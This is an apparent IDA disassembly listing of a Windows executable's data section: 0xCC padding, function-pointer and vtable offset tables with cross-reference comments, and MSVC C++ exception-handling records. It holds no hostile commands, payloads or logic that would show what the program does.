		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ'
		db 'ÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌÌ',0
		dd 317h	dup(0)
off_43F000	dd offset sub_4017D0	; DATA XREF: sub_403700+3FEo
off_43F004	dd offset dword_437AC0	; DATA XREF: sub_403C30+2o
off_43F008	dd offset off_402027	; DATA XREF: sub_406BF0+2o sub_406C50o
off_43F00C	dd offset sub_40221B	; DATA XREF: ___:004070C5o
off_43F010	dd offset loc_40218F	; DATA XREF: sub_409BB0+4o
					; sub_409C10+Bo ...
off_43F014	dd offset loc_402045	; DATA XREF: sub_40AE90+2o
					; sub_40AEE0+1Co
		dd offset dword_437AC0
		align 10h
off_43F020	dd offset loc_401AE1	; DATA XREF: ___:0040B1E8o
					; sub_40B240+1Eo
flt_43F024	dd 1.0			; DATA XREF: ___:0040B896r
off_43F028	dd offset sub_401A4B	; DATA XREF: sub_40F6C0+157o
					; sub_412860+1Do
		dd offset sub_402149
		dd 0
off_43F034	dd offset sub_401ACD	; DATA XREF: sub_40F6C0+142o
					; sub_412860+23o
off_43F038	dd offset loc_40115E	; DATA XREF: sub_412A20+36o
					; sub_412AD0+1Do
		dd offset loc_402004
		dd 0
off_43F044	dd offset sub_4014C9	; DATA XREF: ___:0041324Do
					; sub_4132E0+1Fo
		dd offset sub_401D0C
		align 10h
off_43F050	dd offset loc_4014AB	; DATA XREF: sub_417B80+68o
off_43F054	dd offset sub_401064	; DATA XREF: sub_417C20+8Bo
off_43F058	dd offset sub_40138E	; DATA XREF: sub_417CF0+74o
off_43F05C	dd offset sub_4019CE	; DATA XREF: sub_417DB0+8o
					; sub_418AD0+6o
		dd offset sub_4020C7
		align 8
off_43F068	dd offset loc_401CAD	; DATA XREF: sub_417DE0+8o
					; sub_418B30+6o
		dd offset sub_401230
		dd 0
off_43F074	dd offset loc_401B81	; DATA XREF: sub_417E10+7Bo
off_43F078	dd offset loc_40204A	; DATA XREF: sub_417ED0+7Bo
off_43F07C	dd offset loc_401F3C	; DATA XREF: sub_417F90+3Eo
off_43F080	dd offset sub_401FE1	; DATA XREF: sub_418010+8o
off_43F084	dd offset loc_401FF5	; DATA XREF: sub_418040+3Eo
off_43F088	dd offset sub_401E6A	; DATA XREF: sub_4180C0+3Eo
off_43F08C	dd offset loc_40100A	; DATA XREF: sub_418140+10o
off_43F090	dd offset loc_4010B4	; DATA XREF: sub_418170+4Bo
off_43F094	dd offset sub_401BB8	; DATA XREF: sub_4181F0+10o
off_43F098	dd offset sub_40171C	; DATA XREF: sub_418220+10o
off_43F09C	dd offset sub_40161D	; DATA XREF: sub_418250+6Bo
off_43F0A0	dd offset loc_401929	; DATA XREF: sub_418B90o sub_41FBD0+8o
		dd offset sub_401CF3
		dd 0
off_43F0AC	dd offset sub_40111D	; DATA XREF: sub_418BE0o
					; sub_4191A0+36o
dbl_43F0B0	dq -3.0517578125e-5	; DATA XREF: sub_4199C0+22r
		dd 0
off_43F0BC	dd offset sub_401B09	; DATA XREF: sub_41A110+Bo
					; sub_41A210+6o
off_43F0C0	dd offset sub_401E92	; DATA XREF: sub_41B0B0+Do sub_41B110o
off_43F0C4	dd offset sub_401406	; DATA XREF: ___:0041B472o
					; ___:0041B55Do
		dd offset sub_401686
		align 10h
off_43F0D0	dd offset loc_4019F6	; DATA XREF: sub_41D770+77o
					; sub_4218A0+1Do
		dd offset sub_401C94
		dd 0
off_43F0DC	dd offset sub_4011FE	; DATA XREF: sub_427740+32o
		dd offset sub_401A78
		dd offset sub_401A50
		dd 0
off_43F0EC	dd offset loc_4016DB	; DATA XREF: sub_427B00+6Ao
					; sub_427BA0+1Do
		dd offset sub_401A78
		dd offset dword_437AC0
		dd 0
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_10. PRESS	KEYPAD "+" TO EXPAND]
		db 1Ah,	40h, 0
		dd offset sub_401A78
		dd offset sub_401366
		dd 0
off_43F10C	dd offset sub_40182A	; DATA XREF: sub_4281A0+32o
		dd offset sub_401A78
		dd offset sub_401EB0
		dd 0
off_43F11C	dd offset sub_40224D	; DATA XREF: sub_428880+32o
		dd offset sub_401A78
		dd offset sub_401A14
		dd 0
off_43F12C	dd offset sub_401C3F	; DATA XREF: sub_4290B0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4015B9
		dd 0
off_43F13C	dd offset loc_402086	; DATA XREF: sub_429290+7Ao
					; sub_429350+1Do
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset dword_437AC0
		dd 0
off_43F14C	dd offset sub_4021D5	; DATA XREF: sub_429450+4Bo
					; sub_42AF10+10o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_401D3E
		dd 0
off_43F15C	dd offset loc_40112C	; DATA XREF: sub_42AC10+32o
					; sub_42AFB0+9o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40137A
		dd 0
off_43F16C	dd offset loc_401B18	; DATA XREF: sub_42AFF0+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4010AF
		dd 0
off_43F17C	dd offset sub_4017B2	; DATA XREF: sub_42B380+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_40189D
		dd 0
off_43F18C	dd offset sub_4020EF	; DATA XREF: sub_42C4C0+27o
dword_43F190	dd 0				dd 8, 0
off_43F19C	dd offset dword_437AC0	; DATA XREF: sub_42C530+39o
off_43F1A0	dd offset sub_401F5F	; DATA XREF: ___:0042C602o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset loc_40134D
		align 10h
off_43F1B0	dd offset sub_401B36	; DATA XREF: sub_42C770+32o
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_401537
		align 10h
		dd offset loc_4015FA
; ---------------------------------------------------------------------------
		retf
; ---------------------------------------------------------------------------
		db 21h,	40h, 0
		dd offset sub_4019F1
		align 10h
		dd offset dword_43F348
off_43F1D4	dd offset loc_437B01	; DATA XREF: ___:00437AF8o
					; ___:off_444890o ...
		dd 0FFFFFFFFh, 437E9Ch,	437EB0h, 4Dh dup(0)
off_43F318	dd offset off_448C90	; DATA XREF: ___:0043F330o
		dd 2 dup(0)
		dd 0FFFFFFFFh, 2 dup(0)
		dd offset off_43F318
		dd 0
		db    0			; DATA XREF: ___:0043F358o
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		db    0
		dd 1, 43F330h
dword_43F348	dd 3 dup(0)			dd offset off_448C90
		dd offset unk_43F338
		dd 45h dup(0)
dword_43F470	dd 19930520h, 5, 43F490h, 5 dup(0)		dd 0FFFFFFFFh, 438E1Ch,	0
		dd offset loc_438DF0
		dd 1, 438DFBh, 2, 438E06h, 3, 438E11h, 2 dup(0)
dword_43F4C0	dd 19930520h, 3Dh, 43F4E0h, 5 dup(0)		dd 0FFFFFFFFh, 438E60h,	0
		dd offset loc_438E6B
		dd 1, 438E76h, 2, 438E84h, 3, 438E92h, 4, 438EA0h, 5, 438EAEh
		dd 6, 438EBCh, 7, 438ECAh, 8, 438ED8h, 9, 438EE6h, 0Ah
		dd 438EF4h, 0Bh, 438F02h, 0Ch, 438F10h,	0Dh, 438F1Eh, 0Eh
		dd 438F2Ch, 0Fh, 438F3Ah, 10h, 438F48h,	11h, 438F56h, 12h
		dd 438F64h, 13h, 438F72h, 14h, 438F80h,	15h, 438F8Eh, 16h
		dd 438F9Ch, 17h, 438FAAh, 18h, 438FB8h,	19h, 438FC6h, 1Ah
		dd 438FD4h, 1Bh, 438FE2h, 1Ch, 438FF0h,	1Dh, 438FFEh, 1Eh
		dd 43900Ch, 1Fh, 43901Ah, 20h, 439028h,	21h, 439036h, 22h
		dd 439044h, 23h, 439052h, 24h, 439060h,	25h, 43906Eh, 26h
		dd 43907Ch, 27h, 43908Ah, 28h, 439098h,	29h, 4390A6h, 2Ah
		dd 4390B4h, 2Bh, 4390C2h, 2Ch, 4390D0h,	2Dh, 4390DEh, 2Eh
		dd 4390ECh, 2Fh, 4390FAh, 30h, 439108h,	31h, 439116h, 32h
		dd 439124h, 33h, 439132h, 34h, 439140h,	35h, 43914Eh, 36h
		dd 43915Ch, 37h, 43916Ah, 38h, 439178h,	39h, 439186h, 3Ah
		dd 439194h, 3Bh, 4391A2h, 0Eh dup(0)
dword_43F700	dd 19930520h, 2, 43F720h, 5 dup(0)		dd 0FFFFFFFFh, 439290h,	0
		dd offset loc_439298
		dd 2 dup(0)
dword_43F738	dd 19930520h, 2, 43F758h, 5 dup(0)		dd 0FFFFFFFFh, 4392C0h,	0
		dd offset loc_4392C8
		align 10h
dword_43F770	dd 19930520h, 1, 43F790h, 5 dup(0)		dd 0FFFFFFFFh, 4392F0h,	2 dup(0)
dword_43F7A0	dd 19930520h, 7, 43F7C0h, 5 dup(0)		dd 0FFFFFFFFh, 439310h,	0
		dd offset loc_439318
		dd 1, 439323h, 2, 439331h, 3, 43933Fh, 4, 43934Dh, 5, 43935Bh
		dd 2 dup(0)
dword_43F800	dd 19930520h, 7, 43F820h, 5 dup(0)		dd 0FFFFFFFFh, 439390h,	0
		dd offset loc_439398
		dd 1, 4393A3h, 2, 4393B1h, 3, 4393BFh, 4, 4393CDh, 5, 4393DBh
		dd 2 dup(0)
dword_43F860	dd 19930520h, 11h, 43F880h, 5 dup(0)		dd 0FFFFFFFFh, 439410h,	0FFFFFFFFh, 439418h, 0FFFFFFFFh
		dd 439420h, 0FFFFFFFFh,	439428h, 0FFFFFFFFh, 439430h, 0FFFFFFFFh
		dd 439438h, 0FFFFFFFFh,	439440h, 0FFFFFFFFh, 439448h, 0FFFFFFFFh
		dd 439450h, 0FFFFFFFFh,	439458h, 0FFFFFFFFh, 439460h, 0FFFFFFFFh
		dd 439468h, 0FFFFFFFFh,	439470h, 0FFFFFFFFh, 439478h, 0FFFFFFFFh
		dd 439480h, 0Eh, 439488h, 0Eh, 439490h,	4 dup(0)
dword_43F918	dd 19930520h, 0Bh, 43F938h, 5 dup(0)		dd 0FFFFFFFFh, 4394D0h,	0
; ---------------------------------------------------------------------------
		fcom	dword ptr [ebx+eax*2-100h]
		jmp	eax
; ---------------------------------------------------------------------------
		db 94h,	43h, 0
		dd 2, 4394E8h, 0FFFFFFFFh, 4394F0h, 0FFFFFFFFh,	4394F8h
		dd 0FFFFFFFFh, 439500h,	0FFFFFFFFh, 439508h, 7,	439513h
		dd 7, 43951Bh, 9, 439523h, 4 dup(0)
dword_43F9A0	dd 19930520h, 31h, 43F9C0h, 5 dup(0)		dd 0FFFFFFFFh, 439550h,	0
		dd offset loc_43955B
		dd 0
		dd offset loc_439566
		dd 0FFFFFFFFh, 439571h,	0FFFFFFFFh, 43957Ch, 4,	439587h
		dd 0FFFFFFFFh, 439592h,	6, 43959Dh, 6, 4395A8h,	8, 4395B3h
		dd 0FFFFFFFFh, 4395BEh,	0Ah, 4395C9h, 0Ah, 4395D4h, 0Ah
		dd 4395DFh, 0Ah, 4395EAh, 0Ah, 4395F5h,	0Ah, 439600h, 0FFFFFFFFh
		dd 43960Bh, 11h, 439616h, 11h, 439621h,	0FFFFFFFFh, 43962Ch
		dd 0FFFFFFFFh, 439637h,	15h, 439642h, 0FFFFFFFFh, 43964Dh
		dd 0FFFFFFFFh, 439658h,	18h, 439663h, 0FFFFFFFFh, 43966Eh
		dd 0FFFFFFFFh, 439679h,	0FFFFFFFFh, 439684h, 0FFFFFFFFh
		dd 43968Fh, 1Dh, 43969Ah, 1Dh, 4396A5h,	1Dh, 4396B0h, 1Dh
		dd 4396BBh, 1Dh, 4396C6h, 22h, 4396D1h,	22h, 4396DCh, 22h
		dd 4396E7h, 22h, 4396F2h, 22h, 4396FDh,	22h, 439708h, 22h
		dd 439713h, 22h, 43971Eh, 22h, 439729h,	22h, 439734h, 22h
		dd 43973Fh, 22h, 43974Ah, 22h, 439755h,	22h, 439760h, 0Ch dup(0)
dword_43FB78	dd 19930520h, 2, 43FB98h, 5 dup(0)		dd 0FFFFFFFFh, 439808h,	0
		dd offset loc_439800
		align 10h
dword_43FBB0	dd 19930520h, 2, 43FBD0h, 5 dup(0)		dd 0FFFFFFFFh, 43984Bh,	0
		dd offset loc_439840
		dd 2 dup(0)
dword_43FBE8	dd 19930520h, 1, 43FC08h, 5 dup(0)		dd 0FFFFFFFFh, 439880h,	2 dup(0)
dword_43FC18	dd 19930520h, 3, 43FC38h, 5 dup(0)		dd 0FFFFFFFFh, 4398A0h,	0
		dd offset loc_4398AB
		dd 0
		dd offset loc_4398B6
		dd 2 dup(0)
dword_43FC58	dd 19930520h, 1, 43FC78h, 5 dup(0)		dd 0FFFFFFFFh, 4398E0h,	2 dup(0)
dword_43FC88	dd 19930520h, 1, 43FCA8h, 5 dup(0)		dd 0FFFFFFFFh, 439900h,	2 dup(0)
dword_43FCB8	dd 19930520h, 2, 43FCD8h, 5 dup(0)		dd 0FFFFFFFFh, 439920h,	0
		dd offset loc_439928
		align 10h
dword_43FCF0	dd 19930520h, 57h, 43FD10h, 5 dup(0)		dd 0FFFFFFFFh, 439940h,	0
		dd offset loc_43994B
		dd 1, 439956h, 2, 439961h, 3, 43996Ch, 4, 439977h, 5, 439982h
		dd 6, 43998Dh, 7, 439998h, 8, 4399A3h, 9, 4399ABh, 0Ah
		dd 4399B3h, 0Bh, 4399BEh, 0Ch, 4399C6h,	0Dh, 4399CEh, 0Eh
		dd 4399D9h, 0Fh, 4399E4h, 10h, 4399EFh,	11h, 4399FAh, 12h
		dd 439A05h, 13h, 439A10h, 14h, 439A1Bh,	15h, 439A26h, 16h
		dd 439A31h, 17h, 439A3Ch, 18h, 439A47h,	19h, 439A52h, 1Ah
		dd 439A5Dh, 1Bh, 439A68h, 1Ch, 439A73h,	1Dh, 439A7Eh, 1Eh
		dd 439A89h, 1Eh, 439A94h, 1Eh, 439A9Fh,	1Eh, 439AAAh, 1Eh
		dd 439AB5h, 1Eh, 439AC0h, 1Eh, 439ACBh,	1Eh, 439AD6h, 1Eh
		dd 439AE1h, 1Eh, 439AECh, 28h, 439AF7h,	1Eh, 439AF7h, 1Eh
		dd 439B02h, 2Bh, 439B0Dh, 1Eh, 439B0Dh,	1Eh, 439B18h, 2Eh
		dd 439B23h, 1Eh, 439B23h, 1Eh, 439B2Eh,	31h, 439B39h, 1Eh
		dd 439B39h, 1Eh, 439B44h, 34h, 439B4Fh,	1Eh, 439B4Fh, 1Eh
		dd 439B5Ah, 37h, 439B65h, 1Eh, 439B65h,	1Eh, 439B70h, 3Ah
		dd 439B7Bh, 1Eh, 439B7Bh, 1Eh, 439B86h,	3Dh, 439B91h, 1Eh
		dd 439B91h, 1Eh, 439B9Ch, 40h, 439BA7h,	1Eh, 439BA7h, 1Eh
		dd 439BB2h, 43h, 439BBDh, 1Eh, 439BBDh,	1Eh, 439BC8h, 46h
		dd 439BD3h, 1Eh, 439BD3h, 1Eh, 439BDEh,	49h, 439BE9h, 1Eh
		dd 439BE9h, 1Eh, 439BF4h, 4Ch, 439BFFh,	1Eh, 439BFFh, 1Eh
		dd 439C0Ah, 4Fh, 439C15h, 1Eh, 439C15h,	1Eh, 439C20h, 52h
		dd 439C2Bh, 53h, 439C36h, 54h, 439C41h,	55h, 439C4Ch, 13h dup(0)
		dd offset off_444890
		dd 0
		dd 0FFFFFFFFh, 0
		dd 0Ch,	437AF0h, 2 dup(0)
		dd offset off_4448B0
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F1Ah, 2 dup(0)
		dd offset off_4448D8
		dd 0
		dd 0FFFFFFFFh, 0
		dd 1Ch,	437F20h, 0
dword_440070	dd 3, 440050h, 440030h,	440010h, 2 dup(0)dword_440088	dd 0							; ___:0040AA67o
		dd offset dword_437EC4+62h
		dd 0
		dd offset dword_440070
		align 10h
dword_4400A0	dd 19930520h, 1, 4400C0h, 5 dup(0)		dd 0FFFFFFFFh, 439D30h,	2 dup(0)
dword_4400D0	dd 19930520h, 1, 4400F0h, 5 dup(0)		dd 0FFFFFFFFh, 439D50h,	2 dup(0)
dword_440100	dd 19930520h, 3, 440120h, 5 dup(0)		dd 0FFFFFFFFh, 439D70h,	0
		dd offset loc_439D87
		dd 1, 439D8Fh, 2 dup(0)
dword_440140	dd 19930520h, 1, 440160h, 5 dup(0)		dd 0FFFFFFFFh, 439DB0h,	2 dup(0)
dword_440170	dd 19930520h, 2, 440190h, 1, 4401A0h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 4401B8h, 4	dup(0)
		dd offset sub_40AF22
		align 10h
dword_4401D0	dd 19930520h, 2, 4401F0h, 1, 440200h, 3	dup(0)		dd 0FFFFFFFFh, 0
		dd 0FFFFFFFFh, 3 dup(0)
		dd 2 dup(1), 440218h, 4	dup(0)
		dd offset sub_40B0A1
		align 10h
dword_440230	dd 19930520h, 4, 440250h, 5 dup(0)		dd 0FFFFFFFFh, 439DF0h,	0
		dd offset loc_439DFB
		dd 1, 439E06h, 2, 439E11h, 2 dup(0)
dword_440278	dd 19930520h, 4, 440298h, 5 dup(0)		dd 0FFFFFFFFh, 439E40h,	0
		dd offset loc_439E4B
		dd 1, 439E56h, 2, 439E61h, 2 dup(0)
dword_4402C0	dd 19930520h, 3, 4402E0h, 5 dup(0)		dd 0FFFFFFFFh, 439E90h,	0FFFFFFFFh, 439E98h, 0FFFFFFFFh
		dd 439EA0h, 2 dup(0)
dword_440300	dd 19930520h, 3, 440320h, 5 dup(0)		dd 0FFFFFFFFh, 439EC0h,	0
		dd offset loc_439EC8
		dd 1, 439ED0h, 2 dup(0)
dword_440340	dd 19930520h, 1, 440360h, 5 dup(0)		dd 0FFFFFFFFh, 439EF0h,	2 dup(0)
dword_440370	dd 19930520h, 4, 440390h, 5 dup(0)		dd 0FFFFFFFFh, 439F10h,	0FFFFFFFFh, 439F18h, 0FFFFFFFFh
		dd 439F20h, 2, 439F28h,	2 dup(0)
dword_4403B8	dd 19930520h, 1, 4403D8h, 5 dup(0)		dd 0FFFFFFFFh, 439F50h,	2 dup(0)
dword_4403E8	dd 19930520h, 4, 440408h, 5 dup(0)		dd 0FFFFFFFFh, 439F70h,	0
		dd offset loc_439F7B
		dd 0
		dd offset loc_439F86
		dd 2, 439F91h, 2 dup(0)
dword_440430	dd 19930520h, 1, 440450h, 5 dup(0)		dd 0FFFFFFFFh, 439FC0h,	2 dup(0)
dword_440460	dd 19930520h, 5, 440480h, 5 dup(0)		dd 0FFFFFFFFh, 439FE0h,	0
		dd offset loc_439FEB
		dd 0
		dd offset loc_439FF6
		dd 0
		dd offset loc_43A001
		dd 0
		dd offset loc_43A00C
		align 10h
dword_4404B0	dd 19930520h, 2, 4404D0h, 5 dup(0)		dd 0FFFFFFFFh, 43A040h,	0
		dd offset loc_43A04B
		dd 2 dup(0)
dword_4404E8	dd 19930520h, 2, 440508h, 5 dup(0)		dd 0FFFFFFFFh, 43A070h,	0
		dd offset loc_43A07B
		align 10h
dword_440520	dd 19930520h, 4, 440540h, 5 dup(0)		dd 0FFFFFFFFh, 43A0A0h,	0FFFFFFFFh, 43A0A8h, 0FFFFFFFFh
		dd 43A0B0h, 0FFFFFFFFh,	43A0B8h, 2 dup(0)
dword_440568	dd 19930520h, 8, 440588h, 5 dup(0)		dd 0FFFFFFFFh, 43A0E0h,	0
		dd offset loc_43A0EB
		dd 1, 43A0F6h, 1, 43A101h, 1, 43A10Ch, 1, 43A117h, 1, 43A122h
		dd 1, 43A12Dh, 4 dup(0)
dword_4405D8	dd 19930520h, 0Dh, 4405F8h, 5 dup(0)		dd 0FFFFFFFFh, 43A160h,	0FFFFFFFFh, 43A16Bh, 1,	43A176h
		dd 2, 43A181h, 3, 43A18Ch, 4, 43A197h, 5, 43A1A2h, 6, 43A1ADh
